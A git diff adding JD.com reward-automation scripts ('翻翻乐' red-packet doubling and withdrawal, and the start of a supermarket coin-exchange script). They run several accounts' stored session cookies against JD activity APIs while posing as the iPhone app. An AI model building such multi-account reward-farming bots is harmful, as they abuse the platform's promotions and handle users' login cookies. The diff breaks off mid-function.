t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_big_winner.js b/jd_big_winner.js new file mode 100644 index 0000000..deefebc --- /dev/null +++ b/jd_big_winner.js @@ -0,0 +1,321 @@ +/* +省钱大赢家之翻翻乐 +一天可翻多次,但有上限 +运气好每次可得0.3元以上的微信现金(需京东账号绑定到微信) +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#省钱大赢家之翻翻乐 +20 * * * * jd_big_winner.js, tag=省钱大赢家之翻翻乐, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "20 * * * *" script-path=jd_big_winner.js,tag=省钱大赢家之翻翻乐 + +===================================Surge================================ +省钱大赢家之翻翻乐 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=jd_big_winner.js + +====================================小火箭============================= +省钱大赢家之翻翻乐 = type=cron,script-path=jd_big_winner.js, cronexpr="20 * * * *", timeout=3600, enable=true + */ +const $ = new Env('省钱大赢家之翻翻乐'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', linkId = 'DA4SkG7NXupA9sksI00L0g', fflLinkId = 'YhCkrVusBVa_O2K-7xE6hA'; +const JD_API_HOST = 'https://api.m.jd.com/api'; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const len = cookiesArr.length; + +!(async () => { + $.redPacketId = [] + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < len; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await main() + } + } + if (message) { + $.msg($.name, '', message); + //if ($.isNode()) await notify.sendNotify($.name, message); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function main() { + try { + $.canApCashWithDraw = false; + $.changeReward = true; + $.canOpenRed = true; + await gambleHomePage(); + if (!$.time) { + console.log(`开始进行翻翻乐拿红包\n`) + await gambleOpenReward();//打开红包 + if ($.canOpenRed) { + while (!$.canApCashWithDraw && $.changeReward) { + await openRedReward(); + await $.wait(500); + } + if ($.canApCashWithDraw) { + //提现 + await openRedReward('gambleObtainReward', $.rewardData.rewardType); + await apCashWithDraw($.rewardData.id, $.rewardData.poolBaseId, $.rewardData.prizeGroupId, $.rewardData.prizeBaseId, $.rewardData.prizeType); + } + } + } + } catch (e) { + $.logErr(e) + } +} + + +//查询剩余多长时间可进行翻翻乐 +function gambleHomePage() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + 'Cookie': cookie + } + const body = {'linkId': fflLinkId}; + const options = { + url: `https://api.m.jd.com/?functionId=gambleHomePage&body=${encodeURIComponent(JSON.stringify(body))}&appid=activities_platform&clientVersion=3.5.0`, + headers, + } + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data.data.leftTime === 0) { + $.time = data.data.leftTime; + } else { + $.time = (data.data.leftTime / (60 * 1000)).toFixed(2); + } + console.log(`\n查询下次翻翻乐剩余时间成功:\n京东账号【${$.UserName}】距开始剩 ${$.time} 分钟`); + } else { + console.log(`查询下次翻翻乐剩余时间失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//打开翻翻乐红包 +function gambleOpenReward() { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = {'linkId': fflLinkId}; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=gambleOpenReward&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + console.log(`翻翻乐打开红包 成功,获得:${data.data.rewardValue}元红包\n`); + } else { + console.log(`翻翻乐打开红包 失败:${JSON.stringify(data)}\n`); + if (data.code === 20007) { + $.canOpenRed = false; + console.log(`翻翻乐打开红包 失败,今日活动参与次数已达上限`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//翻倍红包 +function openRedReward(functionId = 'gambleChangeReward', type) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = {'linkId': fflLinkId}; + if (type) body['rewardType'] = type; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`翻翻乐结果:${data}\n`); + data = JSON.parse(data); + if (data['code'] === 0) { + $.rewardData = data.data; + if (data.data.rewardState === 1) { + if (data.data.rewardValue >= 0.3) { + //已翻倍到0.3元,可以提现了 + $.canApCashWithDraw = true; + $.changeReward = false; + // message += `${data.data.rewardValue}元现金\n` + } + if (data.data.rewardType === 1) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元红包\n`); + } else if (data.data.rewardType === 2) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元现金\n`); + // $.canApCashWithDraw = true; + } else { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } else if (data.data.rewardState === 3) { + console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 失败,奖品溜走了/(ㄒoㄒ)/~~\n`); + $.changeReward = false; + } else { + if (type) { + console.log(`翻翻乐领取成功:${data.data.amount}现金\n`) + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${new Date().getHours()}点:${data.data.amount}现金\n`; + } else { + console.log(`翻翻乐 翻倍 成功,获得:${JSON.stringify(data)}\n`); + } + } + } else { + $.canApCashWithDraw = true; + $.changeReward = false; + console.log(`翻翻乐 翻倍 失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//翻翻乐提现 +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { + const headers = { + 'Host': 'api.m.jd.com', + 'Origin': 'https://openredpacket-jdlite.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, + 'Accept-Language': 'zh-cn', + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie + } + const body = { + "businessSource": "GAMBLE", + "base": { + id, + "business": "redEnvelopeDouble", + poolBaseId, + prizeGroupId, + prizeBaseId, + prizeType + }, + "linkId": fflLinkId + }; + const options = { + url: `https://api.m.jd.com/`, + headers, + body: `functionId=apCashWithDraw&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` + } + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['status'] === '310') { + console.log(`翻翻乐提现 成功🎉,详情:${JSON.stringify(data)}\n`); + message += `提现至微信钱包成功🎉\n\n`; + } else { + console.log(`翻翻乐提现 失败,详情:${JSON.stringify(data)}\n`); + message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; + } + } else { + console.log(`翻翻乐提现 失败:${JSON.stringify(data)}\n`); + message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_blueCoin.js b/jd_blueCoin.js new file mode 100644 index 0000000..2ee7f9e --- /dev/null +++ b/jd_blueCoin.js @@ -0,0 +1,491 @@ +/* +东东超市兑换奖品 脚本地址:jd_blueCoin.js +感谢@yangtingxiao提供PR +更新时间:2021-6-7 +活动入口:京东APP我的-更多工具-东东超市 +支持京东多个账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#东东超市兑换奖品 +0 0 0 * * * jd_blueCoin.js, tag=东东超市兑换奖品, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true + +====================Loon================= +[Script] +cron "0 0 0 * * *" script-path=jd_blueCoin.js,tag=东东超市兑换奖品 + +===================Surge================== +东东超市兑换奖品 = type=cron,cronexp="0 0 0 * * *",wake-system=1,timeout=3600,script-path=jd_blueCoin.js + +============小火箭========= +东东超市兑换奖品 = type=cron,script-path=jd_blueCoin.js, cronexpr="0 0 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东超市兑换奖品'); +const notify = $.isNode() ? require('./sendNotify') : ''; +let allMessage = ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let coinToBeans = $.getdata('coinToBeans') || 0; //兑换多少数量的京豆(20或者1000),0表示不兑换,默认不兑换京豆,如需兑换把0改成20或者1000,或者'商品名称'(商品名称放到单引号内)即可 +let jdNotify = false;//是否开启静默运行,默认false关闭(即:奖品兑换成功后会发出通知提示) +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/api?appid=jdsupermarket`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i =0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.data = {}; + $.coincount = 0; + $.beanscount = 0; + $.blueCost = 0; + $.errBizCodeCount = 0; + $.coinerr = ""; + $.beanerr = ""; + $.title = ''; + //console.log($.coincount); + $.isLogin = true; + $.nickName = ''; + // await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + // console.log(`目前暂无兑换酒类的奖品功能,即使输入酒类名称,脚本也会提示下架\n`) + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName || $.UserName}\n请重新登录获取cookie`); + } + continue + } + //先兑换京豆 + if ($.isNode()) { + if (process.env.MARKET_COIN_TO_BEANS) { + coinToBeans = process.env.MARKET_COIN_TO_BEANS; + } + } + try { + if (`${coinToBeans}` !== '0') { + await smtgHome();//查询蓝币数量,是否满足兑换的条件 + await PrizeIndex(); + } else { + console.log('查询到您设置的是不兑换京豆选项,现在为您跳过兑换京豆。如需兑换,请去BoxJs设置或者修改脚本coinToBeans或设置环境变量MARKET_COIN_TO_BEANS\n') + } + await msgShow(); + } catch (e) { + $.logErr(e) + } + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +async function PrizeIndex() { + await smtg_queryPrize(); + // await smtg_materialPrizeIndex();//兑换酒类奖品,此兑换API与之前的兑换京豆类的不一致,故目前无法进行 + // await Promise.all([ + // smtg_queryPrize(), + // 